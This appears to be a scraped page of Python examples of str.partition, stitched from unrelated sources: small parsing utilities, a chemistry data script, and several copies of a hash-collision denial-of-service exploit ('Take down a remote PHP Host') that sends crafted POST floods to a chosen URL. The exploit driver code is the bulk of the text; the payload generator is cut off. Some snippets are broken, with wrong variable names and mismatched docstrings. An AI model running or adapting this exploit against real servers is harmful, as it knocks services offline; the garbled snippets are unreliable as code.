def split_pair(string, sep):
    """
    >>> split_pair('2/4','/')
    2,4 
    """
    pair = []
    trio = list(string.partition(sep))
    trio.remove(sep)
    pair = tuple(trio)
    return pair
def to_sec(string):
    """
    >>> to_sec('1:0')
    60
    >>> to_int('10:13')
    613
    """
    time = string.partition(':')
    sec = int(time[0]) * 60 + int(time[2])
    return int(sec)
def split_pair(string,sep):
    """
    >>> split_pair('2/4','/')
    2,4 
    """
    pair = []
    trio = list(string.partition(sep))
    trio.remove(sep)
    pair = tuple(trio)
    return pair
def to_sec(string):
    """
    >>> to_sec('1:0')
    60
    >>> to_int('10:13')
    613
    """
    time = string.partition(':')
    sec = int(time[0])*60 + int(time[2])
    return int(sec)
Exemplo n.º 5
0
def parse_environment_variable_strings(
        envvar_strings: Iterable[str]) -> Dict[str, str]:
    """
    Parse a list of environment variable strings into a dict.
    """
    environment_variables = {}
    for string in envvar_strings:
        key, _, value = string.partition('=')
        key = key.strip()
        if not key:
            continue
        environment_variables[key] = value.strip()
    return environment_variables
Exemplo n.º 6
0
def reParser(string):
    '''
    Parsea el string que recibe como parametro y genera una lista
    con un operador y un argumento
    '''
    array = ['=']
    operators = ['<', '>', '<>', '<=', '>=']
    objects = re.findall(r"[><=]", string)
    if (objects):
        operator = ''.join(objects)
        result = operator in operators
        if result:
            value = string.partition(operator)
            string = value[2]
            array[0] = operator
    #Si el argumento no es un numero se le agregan comillas simples
    if not string.replace('.', '', 1).isdigit():
        string = "'" + string + "'"
    array.append(string)
    return array
Exemplo n.º 7
0
def main():
    parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
    parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
    parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
    parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
    parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
    parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
    parser.add_argument('--version', action='version', version='%(prog)s 2.0')

    options = parser.parse_args()

    url = urlparse.urlparse(options.url)

    if not url.scheme:
        print("Please provide a scheme to the URL(http://, https://,..")
        sys.exit(1)

    host = url.hostname
    path = url.path
    port = url.port
    if not port:
        if url.scheme == "https":
            port = 443
        elif url.scheme == "http":
            port = 80
        else:
            print("Unsupported Protocol %s" % url.scheme)
            sys.exit(1)
    if not path:
        path = "/"

    print("Generating Payload...")
    payload = generatePayload()
    print("Payload generated")
    if options.file:
        f = open(options.file, 'w')
        f.write(payload)
        f.close()
        print("Payload saved to %s" % options.file)
    print("Host: %s" % host)
    print("Port: %s" % str(port))
    print("path: %s" % path)
    print
    print

    for i in range(options.count):
        print("sending Request #%s..." % str(i+1))
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if url.scheme == "https":
            ssl_sock = ssl.wrap_socket(sock)
            ssl_sock.connect((host, port))
            ssl_sock.settimeout(None)
        else:
            sock.connect((host, port))
            sock.settimeout(None)

        request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s

%s

""" % (path, host, str(len(payload)), payload)

        if url.scheme == "https":
            ssl_sock.send(request)
        else:
            sock.send(request)

        if options.verbose:
            if len(request) > 300:
                print(request[:300]+"....")
            else:
                print(request)
            print
        if options.wait or options.output:
            start = time.clock()
            if url.scheme == "https":
                data = ssl_sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = ssl_sock.recv(1024)
            else:
                data = sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = sock.recv(1024)
            
            elapsed = (time.clock() - start)
            print ("Request %s finished" % str(i+1))
            print ("Request %s duration: %s" % (str(i+1), elapsed))
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                # only print http header
                print
                print(header)
                print
            if options.output:
                f = open(options.output+str(i)+".html", 'w')
                f.write("<!-- "+header+" -->\r\n"+content)
                f.close()

        if url.scheme == "https":
            ssl_sock.close()
            sock.close()
        else:
            sock.close()
Exemplo n.º 8
0
 def substr_after(string, delim):
     return string.partition(delim)[2]
Exemplo n.º 9
0
                print(request[:300]+"....")
            else:
                print(request)
            print
        if options.wait or options.output:
            start = time.clock()
            data = sock.recv(1024)
            string = ""
            while len(data):
                string = string + data
                data = sock.recv(1024)
            elapsed = (time.clock() - start)
            print ("Request %s finished" % str(i+1))
            print ("Request %s duration: %s" % (str(i+1), elapsed))
            #only print http header
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                print
                print(header)
                print
            if options.output:
                f = open(options.output+str(i)+".html", 'w')
                f.write("<!-- "+header+" -->\r\n"+content)
                f.close()
        sock.close()

def generatePayload():
    # Taken from:
    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
Exemplo n.º 10
0
                print(request[:300]+"....")
            else:
                print(request)
            print
        if options.wait or options.output:
            start = time.clock()
            data = sock.recv(1024)
            string = ""
            while len(data):
                string = string + data
                data = sock.recv(1024)
            elapsed = (time.clock() - start)
            print ("Request %s finished" % str(i+1))
            print ("Request %s duration: %s" % (str(i+1), elapsed))
            #only print http header
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                print
                print(header)
                print
            if options.output:
                f = open(options.output+str(i)+".html", 'w')
                f.write("<!-- "+header+" -->\r\n"+content)
                f.close()
        sock.close()

def generatePayload():
    # Taken from:
    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
Exemplo n.º 11
0
def main():
    parser = argparse.ArgumentParser(description="Take down a remote Host via Hashcollisions", prog="Universal Hashcollision Exploit")
    parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
    parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
    parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
    parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
    parser.add_argument("-s", "--save", dest="save", help="Save payload to file")
    parser.add_argument("-p", "--payload", dest="payload", help="Save payload to file")
    parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
    parser.add_argument("-t", "--target", dest="target", help="Target of the attack", choices=["ASP", "PHP", "JAVA"], required=True)
    parser.add_argument("-m", "--max-payload-size", dest="maxpayloadsize", help="Maximum size of the Payload in Megabyte. PHPs defaultconfiguration does not allow more than 8MB, Tomcat is 2MB", type=int)
    parser.add_argument("-g", "--generate", dest="generate", help="Only generate Payload and exit", default=False, action="store_true")
    parser.add_argument("--version", action="version", version="%(prog)s 6.0")

    options = parser.parse_args()
    
    if options.target == "PHP":
        if not options.maxpayloadsize or options.maxpayloadsize == 0:
            maxpayloadsize = 8
        else:
            maxpayloadsize = options.maxpayloadsize
    elif options.target == "ASP":
        if not options.maxpayloadsize or options.maxpayloadsize == 0:
            maxpayloadsize = 8
        else:
            maxpayloadsize = options.maxpayloadsize
    elif options.target == "JAVA":
        if not options.maxpayloadsize or options.maxpayloadsize == 0:
            maxpayloadsize = 2
        else:
            maxpayloadsize = options.maxpayloadsize
    else:
        print("Target %s not yet implemented" % options.target)
        sys.exit(1)

    url = urlparse.urlparse(options.url)

    if not url.scheme:
        print("Please provide a scheme to the URL(http://, https://,..")
        sys.exit(1)

    host = url.hostname
    path = url.path
    port = url.port
    if not port:
        if url.scheme == "https":
            port = 443
        elif url.scheme == "http":
            port = 80
        else:
            print("Unsupported Protocol %s" % url.scheme)
            sys.exit(1)
    if not path:
        path = "/"

    if not options.payload:
        print("Generating Payload...")
        
        # Number of colliding chars to find
        collisionchars = 5
        # Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)
        collisioncharlength = 2
        # Length of each parameter in the payload
        payloadlength = 8
        generator = Payloadgenerator(options.verbose, collisionchars, collisioncharlength, payloadlength)
        if options.target == "PHP":
            payload = generator.generatePHPPayload()
        elif options.target == "ASP":
            #payload = generateASPPayload()
            print("Target %s not yet implemented" % options.target)
            sys.exit(1)
        elif options.target == "JAVA":
            payload = generator.generateJAVAPayload()
        else:
            print("Target %s not yet implemented" % options.target)
            sys.exit(1)

        print("Payload generated")
    else:
        f = open(options.payload, "r")
        payload = f.read()
        f.close()
        print("Loaded Payload from %s" % options.payload)    

    # trim to maximum payload size (in MB)
    maxinmb = maxpayloadsize*1024*1024
    payload = payload[:maxinmb]
    # remove last invalid(cut off) parameter
    position = payload.rfind("=&")
    payload = payload[:position+1]
    
    # Save payload
    if options.save:
        f = open(options.save, "w")
        f.write(payload)
        f.close()
        print("Payload saved to %s" % options.save)

    # User selected to only generate the payload
    if options.generate:
        return

    print("Host: %s" % host)
    print("Port: %s" % str(port))
    print("path: %s" % path)
    print
    print

    for i in range(options.count):
        print("sending Request #%s..." % str(i+1))
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if url.scheme == "https":
            ssl_sock = ssl.wrap_socket(sock)
            ssl_sock.connect((host, port))
            ssl_sock.settimeout(None)
        else:
            sock.connect((host, port))
            sock.settimeout(None)

        request = "POST %s HTTP/1.1\r\n\
Host: %s\r\n\
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\
Connection: Close\r\n\
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n\
Content-Length: %s\r\n\
\r\n\
%s\r\n\
\r\n" % (path, host, str(len(payload)), payload)

        if url.scheme == "https":
            ssl_sock.send(request)
        else:
            sock.send(request)

        if options.verbose:
            if len(request) > 400:
                print(request[:400]+"....")
            else:
                print(request)
            print("")
        if options.wait or options.output:
            start = time.time()
            if url.scheme == "https":
                data = ssl_sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = ssl_sock.recv(1024)
            else:
                data = sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = sock.recv(1024)
            
            elapsed = (time.time() - start)
            print("Request %s finished" % str(i+1))
            print("Request %s duration: %s" % (str(i+1), elapsed))
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                # only print http header
                print("")
                print(header)
                print("")
            if options.output:
                f = open(options.output+str(i)+".html", "w")
                f.write("<!-- "+header+" -->\r\n"+content)
                f.close()

        if url.scheme == "https":
            ssl_sock.close()
            sock.close()
        else:
            sock.close()
Exemplo n.º 12
0
def getID(string):
    """Return the ID of a post."""
    return string.partition('-')[0]
Exemplo n.º 13
0
def main():
    parser = argparse.ArgumentParser(description="Take down a remote PHP Host",
                                     prog="PHP Hashtable Exploit")
    parser.add_argument("-u",
                        "--url",
                        dest="url",
                        help="Url to attack",
                        required=True)
    parser.add_argument("-w",
                        "--wait",
                        dest="wait",
                        action="store_true",
                        default=False,
                        help="wait for Response")
    parser.add_argument("-c",
                        "--count",
                        dest="count",
                        type=int,
                        default=1,
                        help="How many requests")
    parser.add_argument("-v",
                        "--verbose",
                        dest="verbose",
                        action="store_true",
                        default=False,
                        help="Verbose output")
    parser.add_argument("-f",
                        "--file",
                        dest="file",
                        help="Save payload to file")
    parser.add_argument(
        "-o",
        "--output",
        dest="output",
        help=
        "Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w"
    )
    parser.add_argument('--version', action='version', version='%(prog)s 2.0')

    options = parser.parse_args()

    url = urlparse.urlparse(options.url)

    if not url.scheme:
        print("Please provide a scheme to the URL(http://, https://,..")
        sys.exit(1)

    host = url.hostname
    path = url.path
    port = url.port
    if not port:
        if url.scheme == "https":
            port = 443
        elif url.scheme == "http":
            port = 80
        else:
            print("Unsupported Protocol %s" % url.scheme)
            sys.exit(1)
    if not path:
        path = "/"

    print("Generating Payload...")
    payload = generatePayload()
    print("Payload generated")
    if options.file:
        f = open(options.file, 'w')
        f.write(payload)
        f.close()
        print("Payload saved to %s" % options.file)
    print("Host: %s" % host)
    print("Port: %s" % str(port))
    print("path: %s" % path)
    print
    print

    for i in range(options.count):
        print("sending Request #%s..." % str(i + 1))
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if url.scheme == "https":
            ssl_sock = ssl.wrap_socket(sock)
            ssl_sock.connect((host, port))
            ssl_sock.settimeout(None)
        else:
            sock.connect((host, port))
            sock.settimeout(None)

        request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s
 
%s
 
""" % (path, host, str(len(payload)), payload)

        if url.scheme == "https":
            ssl_sock.send(request)
        else:
            sock.send(request)

        if options.verbose:
            if len(request) > 300:
                print(request[:300] + "....")
            else:
                print(request)
            print
        if options.wait or options.output:
            start = time.clock()
            if url.scheme == "https":
                data = ssl_sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = ssl_sock.recv(1024)
            else:
                data = sock.recv(1024)
                string = ""
                while len(data):
                    string = string + data
                    data = sock.recv(1024)

            elapsed = (time.clock() - start)
            print("Request %s finished" % str(i + 1))
            print("Request %s duration: %s" % (str(i + 1), elapsed))
            split = string.partition("\r\n\r\n")
            header = split[0]
            content = split[2]
            if options.verbose:
                # only print http header
                print
                print(header)
                print
            if options.output:
                f = open(options.output + str(i) + ".html", 'w')
                f.write("<!-- " + header + " -->\r\n" + content)
                f.close()

        if url.scheme == "https":
            ssl_sock.close()
            sock.close()
        else:
            sock.close()
Exemplo n.º 14
0
    array_of_array.append(formated_data)

test_array_of_array = []

for test_line in test_dataset:
    test_formated_data = line.split()
    test_array_of_array.append(test_formated_data)

#Extracting the SMILES strings from excel dataset
formated_SMILE_array = []

c_reader = csv.reader(open('1K_unformated_unlabeled_SMILES_data.txt', 'r'),
                      delimiter=';')
col_2 = [x[0] for x in c_reader]
for string in col_2:
    head, sep, tail = string.partition('\t')
    SMILE = tail
    formated_SMILE_array.append(SMILE)

test_formated_SMILE_array = []

test_c_reader = csv.reader(open('test_unformated_unlabeled_SMILES_data.txt',
                                'r'),
                           delimiter=';')
test_col_2 = [x[0] for x in test_c_reader]
for test_string in test_col_2:
    head, sep, tail = test_string.partition('\t')
    test_SMILE = tail
    test_formated_SMILE_array.append(SMILE)

#Extracting the name of the Molecule
Exemplo n.º 15
0
def getID(string):
    """Return the ID of a post."""
    return string.partition('-')[0]
Exemplo n.º 16
0
def highlight(string, hlsearch):
    string = string.partition(hlsearch)
    return string[0] + COLORS['red'] + string[1] + COLORS['stndrd'] + string[2]
Exemplo n.º 17
0
 def to_predicate(string, expected_result):
     if not isinstance(expected_result, bool):
         return string
     if (partitioned := string.partition("-"))[2]:
         return partitioned[2] + ("-p" if '-' in partitioned[2] else "p")